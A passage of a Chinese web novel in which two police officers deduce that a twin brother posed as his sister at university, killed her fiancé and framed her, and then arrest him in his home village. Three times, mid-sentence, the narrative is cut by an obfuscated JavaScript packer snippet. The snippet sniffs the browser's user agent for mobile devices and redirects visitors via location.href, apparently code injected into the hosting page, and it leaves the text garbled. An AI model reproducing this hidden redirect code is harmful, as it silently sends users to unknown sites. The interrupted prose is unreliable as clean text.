桑落摇摇头:“不是班长在说谎,而是只有他看到了两个沈雪遥——真正的沈雪遥只在开学体检那天去过学校,在那之后,出现在大众视野里的一直都是A,是A在大学里学习了四年,是A受到很多男生的追求,是A在和杜凌风谈恋爱。” 桑落一时间想到了她在现代看过的许多新闻,有些人会冒名顶替他人上大学,从而获得一个好文凭,完全改变人生。 【替】字真正的含义,是A一直在替沈雪遥上学,A顶替了沈雪遥的人生。 同学们印象里的那个人,从来都不是沈雪遥本人。 袁小虎若有所思:“原来是这样,一直都是A,所以同学们一致认为她皮肤雪白,也就是说,沈雪遥考上大学却没有去,而是心甘情愿把上学的机会让给了自己的姐妹A,这也太……太姐妹情深了,她怎么会做出这么大的牺牲呢?” 桑落还没说话,袁小虎就自问自答:“估计不是单纯出于感情,而是为了钱,说不定这个A给了沈雪遥一大笔钱,让她甘愿放弃上大学。” “又或者——”袁小虎继续分析,“沈雪遥不是自愿的,她去参加了入学体检之后,就被A囚禁在了某个地方,然后A光明正大地替她上了大学,后来A杀了人,又用沈雪遥来顶罪,如果真是这样,沈雪遥真是太惨了,我们一定要替她伸冤!” “喂喂,尸检报告你也看过,”桑落提醒道,“沈雪遥的身体很健康,没有伤痕和被虐待的痕迹,而且她的皮肤粗糙,一看就是长期风吹日晒的结果,这哪里像被囚禁了?” “也对,”袁小虎拍了拍自己的脑袋,“是我想太多了,话说回来,不管什么原因,总之A替沈雪遥上了大学,但是——” “既然她们俩长得一模一样,为什么A不亲自去体检呢?这样就不会露出马脚了,而且既然是一个人住,干嘛不住宿舍呢?这样可以省一大笔钱。” 袁小虎越想越奇怪。 桑落靠在窗边:“这个A一定有某种原因不能体检,也不能住宿舍。” 袁小虎恍然大悟:“她有病!她有某种传染病或是皮肤病!所以她不敢住宿舍,她怕传染给其他人,被大家嫌弃,她也不能去体检,怕体检不通过。” “沈雪遥和A恋爱的时候,两人曾经约定过婚前不发生关系,他们做过最大尺度的事情也就是拉手,”桑落再度提示,“我给目击证人录口供的时候,他说杜凌风一直在骂A,其中有一个词让我很在意。” “哪个词?”袁小虎赶忙问道,证人的口供他也翻看过,但是已经不记得这么具体的细节了。 “怪物。”桑落缓缓道。 车子驶出树林,进入一片田地,两人一起看向前方,袁小虎紧皱眉头,思考着桑落给出的提示。 骂人的词这么多,有傻X、贱X等等,为什么杜凌风偏偏选择了“怪物”这个词? 他一定意有所指。 “A的身体一定有什么问题,”袁小虎更加笃定自己的猜想,“这对情侣约定婚前不发生关系,但是他们订婚之后或许尝试过,那晚杜凌风去了粮油家属楼,想给A一个惊喜,那晚他们说不定发生了什么——” “裸体!”袁小虎终于想通了一切,“杜凌风态度发生变化的关键原因,就是他看见了A的裸体!” “那晚他们尝试进一步接触,杜凌风第一次看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14927152|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A的裸体,她的身体一定异于常人,杜凌风才会骂出‘怪物’这个词。” “所以回家之后他态度大变,立马就要退婚。” “我一开始也是这么想的,我甚至怀疑A是个畸形人,”桑落淡淡地说,“正因为A是畸形,所以沈家在生下双胞胎之后立即就把他送了出去。” “A在学校里不肯交友,不是因为她性格孤僻,她是怕女性好友看见她的身体,住宿舍和体检也是同理。” “对对对!”袁小虎无比赞同。 桑落话锋一转:“但是这样一来,又出现了新的问题。” “我们在人口登记上没有找到A的名字,有两种情况:一,沈家一直把A养在家里,只是没有给她上户口;二,沈家把A送人了。” “先说第一种,如果A一直在沈家生活,那沈家父母为什么要让畸形的女儿去顶替健康的女儿上大学呢?而且他们家境贫困还拿出一大笔房租,似乎对A也太偏爱了,为什么他们放着沈雪遥这个健康又优秀的女儿不爱,反而去爱一个畸形女儿呢?” “对啊,农村观念落后,畸形人或是有传染病的人在农村一定会遭到歧视,说句不好听的,有些人看到生下来的孩子身患残疾,直接就把他溺死了,哪会对他这么好呢?”袁小虎摇了摇头,“看来A一定被送走了,是养父母对A特别好。” 桑落接着说:“如果是这样,那就是第二种情况,沈家只有沈雪遥一个孩子,沈雪遥是她们唯一的指望,A顶替了沈雪遥上大学,为什么沈家父母不追究呢?沈雪遥死了,为什么她的父母是那副态度……” 桑落始终对这一点耿耿于怀,尽管沈家父母的态度可以用“撇清关系”来解释,但她心中还是有一份怀疑,她对这种态度太熟悉了,在她自己的原生家庭里,她已经体验过无数次。 一个母亲不在乎自己的女儿,很大概率是因为她还有一个儿子。 桑落想起扎小人的高奶奶被抓后说的那番话,为了儿子,她愿意去做任何事。 “我们去查资料的时候你也看到了,高粱村那几年出生的都是男孩,唯一的一个女孩还不幸病逝了。”桑落说。 袁小虎点点头:“农村就是重男轻女的风气很重,不过这和本案有什么关系吗?” 桑落斟酌着说:“在这种风气之下,能让沈家父母如此偏爱的,很可能不是一个女孩,而是一个男孩。” 袁小虎猛地踩了刹车,嘴巴张成鸡蛋大小:“等等,你是说——A是男的?” 桑落微微点头: “不是双胞胎姐妹,而是双胞胎姐弟。” 17. 情侣吵架杀人案(17) 袁小虎目瞪口呆,在原地震惊了半天,好久才说出一句话:“桑落……你疯了吧?” 桑落淡定地指了指刹车:“继续开车,你该不会想今天晚上就停在这里吧?” 袁小虎缓缓启动车子,嘴角仍在抽搐:“怎、怎么可能?如果A是个男的,他替自己的姐姐上了四年大学,从同学到老师没有一个人发现,他们都是傻子吗?” 桑落:“他一直拒人于千里之外,不和任何人交友,没有人和他近距离接触过,自然也没人能看出破绽。” “可是他还有男朋友,杜凌风一直在和一个男人谈恋爱,难道他没有发现不对吗?”袁小虎问。 “他们一直保持距离,最多不过是牵牵手,”桑落再次强调,“不到那一步,都是可以隐瞒过去的。” “说话呢?一个人总不能不说话吧,”袁小虎快要疯了,“A在上大学期间肯定要和人说话,男人和女人的嗓音总该有区别吧?” “可以用伪音。”桑落在网上看过不少教人伪装嗓音的视频,甚至有些人天赋异禀,不用学就会伪音。 “就算是这样,就算A和沈雪遥长相一模一样,他可以戴上假发扮成女人,”袁小虎退一步说,“他是一个男人,总该有喉结吧,别人连这也看不出来吗?” “有些人的喉结天生就不明显。”桑落轻松说道。 她来自现代,看过太多离奇新闻,例如什么“男子恋爱三年,被骗走所有财产,报警才知道自己的女朋友是男人”,又或者什么“和你网聊的小甜妹背后竟然是抠脚大汉”,这些都已经见怪不怪了。 但是袁小虎可没见过这样的事,他震惊得龇牙咧嘴,好像见到外星人一样。 “杜凌风知道真相之后,应该和你现在的反应一样,”桑落重现了当时的场景,“那晚杜凌风去粮油家属楼,意外撞破A是一个男人,他这才得知自己这三年以来一直都是在和男人恋爱。” “杜凌风很崩溃,立马跑回家说要退婚,还大骂A是个骗子,”但他不敢把实情告诉家里人,这会让他抬不起头来,这事如果真的传出去,恐怕会成为整个县城的笑话。” “杜凌风在自己的房间里郁闷了两天,始终咽不下这口气,于是他主动打电话约A出来见面,他不是要谈复合,而是想打A一顿,但是他不敢动手,所以出发前特意喝酒壮胆。” “到了约定的地点,杜凌风先是骂了A一顿,他使用了怪物这个词,在一向传统的杜凌风眼里,男扮女装的A就是个不伦不类的怪物。” “接着杜凌风暴打A,目击者说A全程都没有大声喊叫,这是因为A使用了伪音,一旦他大声喊叫就会破音,发出男人的声音,他不想在大庭广众之下暴露。” “打完人之后,杜凌风本来想走,但是A突然抓花了他的脸,这激发了杜凌风的杀心,他顺势拿起一旁的水果刀,准备杀了A,随后A夺刀反杀。” “曾经有很多人质疑这一点,现在也能解释了,为什么A的力气那么大,能从杜凌风手里夺走刀子,因为A也是个男人。” “杀人之后A很快想到了脱罪方法,他家里还有个长相一模一样的姐姐,他打算让姐姐来当替罪羊,于是他立马返回了粮油家属楼。” “后来就是我们分析过的一系列过程,A把一切都嫁祸给姐姐,然后换上了一身男人的衣服,光明正大地从家属楼离开,由于他此刻是男人的装扮,所以目击证人完全没有把他和凶案联系在一起。” “杀人之后A无处可去,A一直靠杜凌风养着,自己手里并没有多少钱,在这种情况下,回农村是他最好的打算,我推测A此刻就躲在高粱村。” “他大概率已经把自己杀人的事情告诉了父母,沈家父母对这件事早就知情,所以他们在接到警方电话时毫不意外,他们一再拒绝来局里认尸,就是怕被警方看出破绽,他们不管女儿的尸体,是为了包庇自己的儿子。” “所以,”桑落得出结论,“A要么躲在沈家,要么被父母藏在了某个地方,只要我们去了高粱村,就能抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14935752|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住他。” “这怎么可能……男人居然能扮成女人……”袁小虎已经彻底抓狂了,由于这场推理太过离谱,他开始质疑起桑落,“不,我不相信有这么离奇的事情,你有什么证据吗?” “没有证据,”桑落干脆地说,“全靠我的经验。” 她也没想到自己在原生家庭的经验有一天还能用到破案上,在大家谈到租房的那一刻,她忽然就想通了一切,父母对孩子的爱有差别,往往是因为性别的原因。 “虽然这个推测逻辑通顺,但是我也不知道该不该信,”袁小虎咬着牙说,“我也是个男人,如果有一天让我知道朝夕相处的女朋友是个男人,我恐怕想跳河的心都有了,杜凌风有这么傻吗,怎么会连男女都看不出来?” 桑落耸耸肩:“正是因为大家都这么想,所以杜凌风才不好意思把分手的原因告诉别人。” “哦,对了,”桑落忽然想起,“有两点我不知道算不算证据——肤色和指甲。” “我们以前好奇过,两个人明明是双胞胎,为什么一个皮肤白,一个皮肤黄,现在有答案了,真正的沈雪遥根本没有去上学,她要么在农村种地,要么在外打工,经历风吹日晒,所以她的皮肤暗黄粗糙。” “弟弟A则是养尊处优,在家有父母宠,在学校有男朋友宠着,他大部分时间都在室内,晒不到太阳,自然皮肤白皙。” “还有指甲,沈雪遥要经常干活,留着长指甲不方便,所以她是个秃指甲,A很悠闲,才有条件留那么长的指甲。” “A的计划也算得上完美,大家差一点就被他骗了过去,但是他千算万算,还是算漏了指甲这一点。” “这……”袁小虎依然难以置信,“分析得很有道理,但是男人真的能发出女人的声音吗?算了算了,反正马上就要到了,等进了村一切就都清楚了,我倒要看看,这个A到底是谁!” 桑落嘴角露出一丝若有若无的笑意: “其实,A已经在我们的眼前出现过了。” 18. 情侣吵架杀人案(18) “是谁?” 袁小虎立刻振奋起来,开始回忆他在这起案子里接触过的所有人,想了半天还是没有想出可疑人选,只能求助地望向桑落。 桑落缓缓开口:“我们在档案室查资料的时候,找出了高粱村所有和沈雪遥年龄相近的年轻人,他们的名字你还记得吗?” “胡家成、刘建国、何旭、文成刚、孙冰远、孟佳、郭立业。”桑落记忆力好,顺口就说了出来。 袁小虎一脸崇拜地看着桑落:“这么多名字,你只看一眼就记住了,你这脑子可以啊,比我的脑子好用多了!不过这些名字我听着都挺正常的,没什么问题啊。” 看袁小虎还不开窍,桑落干脆直接公布了答案:“孙冰远,他和沈雪遥的名字是相对应的。” “冰对应雪,遥对应远,连起来就是冰雪、遥远,遥远的冰雪,沈家是从漠城搬到高粱村的,漠城是全国最北边的城市,天气寒冷,沈家父母给他们起这个名字是为了怀念故乡。” 袁小虎震惊得一拍大腿:“对啊,只有同一家的孩子才会这么起名字!桑落,你真是绝了,连他们的老家都能记得住,让我说什么好!” “其实一开始我也没注意到两人名字里暗藏的玄机,”桑落舒展了一下胳膊,“毕竟咱们都以为A是个女的,直到我在面馆里想通了A是个男人,然后我瞬间就想起了孙冰远这个名字——A就是孙冰远。” “他才是这起案子背后的真凶,父母应该是把他送给了孙家,所以他跟了孙家的姓,尽管姓不相同,他和沈雪遥却是血脉相连的亲姐弟,只有他才有条件犯下这起案件。” “那还等什么?我这就去抓他小舅子的!” 袁小虎热血沸腾,一脚油门猛踩下去,眼看就逼近村口了,桑落却突然喊了停,袁小虎一脸懵逼: “你干什么?还有几百米就到村口了。” 桑落摆摆手:“我们开的是警车,就这样大摇大摆进村,恐怕会打草惊蛇,你把车子停在路边,最后几百米咱们步行过去,等一会进了村,一切按我说的做。” 袁小虎听话地照做了,此刻他对桑落已经十分佩服,对桑落的话也是唯命是从。 夜晚天气寒冷,两人裹紧身上的棉衣,加快脚步进了村,桑落根据资料上的地址找到孙家门口,然后轻轻拍响了孙家大门,村里没有电视,大家普遍睡得比较早,孙家人已经睡下了,硬生生被桑落喊了起来。 “干什么?”一个大妈披着棉衣打开了门,满脸不耐烦地问,显然桑落惊扰了她的好梦。 “特大好消息,你儿子中奖了!”桑落立刻满脸笑容,热情洋溢地开始介绍,“我们是电视台的,观众用短信发送‘666’就可以到我们节目抽奖,你儿子孙冰远抽中了一等奖——一百元现金!” 孙家大妈满脸疑惑,她把孙大爷喊出来,两人嘀咕了一阵,估计是怕遇到骗子,桑落明白他们的心思,直接从兜里掏出一张一元钞票:“喏,这是一元感谢费,给你们的,等你们叫儿子出来,我们再给一百元现金!” “诶呦!整整一块钱!” 一见到钱,大妈满脸笑容,所有的疑心全都打消了,一块钱在这个年代价值可不低,一百块钱更是天降巨款,他们种地不知道种多久才能挣到这么多,大妈半推半就地把钱收下了,然后拉着桑落就要出门: “孩子,你这……诶呀,真是的,我怎么好意思收呢?你瞧,我这这……好吧好吧,那我就收了,嘿嘿,走吧,带你找我儿子去!” 桑落立刻发问:“去哪里找你儿子,你儿子不在你家吗?” 大妈摇摇头,道出了实情:“电视台的同志,你有所不知,我这个儿子其实不是我的亲生儿子,他是村里老沈家生下来的,当初老沈家他媳妇生了一对龙凤胎,这不是计划生育嘛,生两个孩子要罚钱,老沈家没办法,只好把他们的儿子过到了我们的名下。” “这样他们不就占了你们生孩子的名额?”桑落追问。 大妈也不恼,看在一块钱的面子上照实说了:“你不懂,我们两口子本来也生不出孩子,俺们家那位身体有问题,只能抱一个,正好沈家多出来一个,这不就给了我们了嘛!” “不过呢,这样也有好处,我们俩名义上有了个儿子,算是有后了,百年之后对祖宗有个交代,还不用自己养,沈家只是名义上把这个孩子给了我,实际上孩子还在他们家养着,不用我出钱,孩子逢年过节来看我一眼,你说这多好的事!” “所以,孙冰远现在就在沈家?”桑落警觉地问。 大妈犹豫了一下:“这个我也不确定,冰远这小子老是在城里打工,平时忙得很,过年才回来一趟,我带你去沈家问问他现在在哪,反正沈家也不远,走几步路就到了。” 桑落装作无意地说:“他在打工?可是他给我们节目发短信的时候说他是个大学生啊,会不会是搞错了?” 大妈捂嘴笑起来:“呦呦,这孩子肯定是跟你吹牛了,他上什么大学,就他那个成绩,还能上得了大学?村里人都知道他不是学习这块料,一周有七天,他能逃课六天,剩下那一天在学校睡觉,他呀,高中一毕业就被爸妈赶到城里去打工啦!” 桑落也跟着笑了,大妈不知不觉唠起了家常:“不过呢,话说起来,他那个姐姐倒是真的考上了大学,雪遥这个孩子实在是可惜呀,明明考上了那么好的大学,结果最后居然放弃了,留在农村跟我们一起种地,真是可惜!” “哦?”桑落好奇地问,“为什么放弃?” 大妈叹了口气:“毕竟是个女娃子,读那么多书有什么用?反正最后也是要嫁人的,对不对?” 桑落装作认同地点点头,转头和袁小虎对视了一眼,两人都知道桑落猜对了,沈家对外说是放弃了上大学的机会,实际上是把儿子送到了市里,让他装成女人代替姐姐上大学,而真正的沈雪遥这四年一直都在农村种地。 说这话的功夫,几人已经走到了沈家门前,桑落特意叮嘱了孙家大妈,让她先不要说出中奖的事情,一会他们要给孙冰远一个惊喜,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14949409|160495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈点点头答应了。 随后大妈走上前,用力拍了拍沈家的门:“沈大哥,嫂子,快出来呀,俺们家那口子又不行了!” 看来两家人关系不错,一听这熟悉的声音,原本漆黑一片的沈家立刻亮起了灯,一个中年女人火急火燎地穿衣服跑出来,通过她的声音,桑落判断她就是那天和师父通过电话的吴梦花。 “老孙的癫痫又犯了?找村里大夫看过没?”吴梦花焦急地隔着门问道。 大妈继续拍着门说:“不行,大夫来看过,说是他治不了,让送到城里医院去,嫂子,我一个人也抬不动他,让你们老沈来帮个忙吧,还有冰远,那孩子在吗?也一起叫过来吧!” 吴梦花迟疑了一下,没有打开门,大妈在门口用哭腔说:“诶呦,你们这是咋了,咋慢慢吞吞的,人命关天啊,俺们家那口子已经倒在地上不省人事了,口吐白沫,腿脚还抽抽着,再不送医院,过一会我就要去棺材铺给他打棺材了!” 听了这话,吴梦花没有再犹豫,手脚麻利地行动起来,通过她的动作,桑落判断出她应该是在门口堆了很多重物,为的就是防止警察破门。 吴梦花一一搬开这些重物,然后亲手打开了门,在门打开的一瞬间,桑落使了个眼色,袁小虎一个飞奔蹿进了屋内,开始搜查起孙冰远的身影。 吴梦花立刻察觉到不对,猛地关上门,桑落飞身上去,用肩膀撞了一下,让她来不及反锁大门,吴梦花被撞到在地,孙家大妈满脸惊慌地拉住桑落: “姑娘,你这是干什么?你不是电视台来抽奖的吗?” 桑落没空跟她解释,直接解开棉衣,露出里面的警服,高喊了一声:“警察办案!” 孙家大妈被吓得直抖擞,颤颤巍巍地跑了,吴梦花和桑落扭打在一起,想阻止她进家,桑落趁乱拿出手铐,把吴梦花和大门铐在了一起,然后进入屋内查看情况。 屋里面,一个中年男人被铐住双手,蹲在地上,他是沈雪遥的父亲沈立业,还有一个年轻男人被袁小虎死死抓住,正准备给他戴上手铐,那男人低着头,脸色通红,桑落凑过去看了一眼—— 那是一张和沈雪遥一模一样的脸。 袁小虎给男人戴上手铐,然后拍了拍他的肩膀:“就是他,没跑了!刚见到的时候我也吓了一跳,还以为沈雪遥剃光头了呢!” “孙冰远!” 桑落高喊一声,年轻男人猛地抬起头,桑落接着说道: “你被捕了!” 孙冰远不服气地说:“你们凭什么抓我?” 桑落走到他身后,撩开他的衣服,看到了一大片紫色的淤青,这是那晚杜凌风猛踹他时留下的印记。 “你涉嫌杀害杜凌风、沈雪遥两人,现在我们正式将你逮捕,有话回局里再说,走吧。” 桑落招了招手,袁小虎押着他向警车走去,村里人也都陆陆续续出来了,站在一旁看热闹。 把孙冰远和沈家父母都押上车之后,袁小虎哼着小曲启动车子,踏上了回城的路。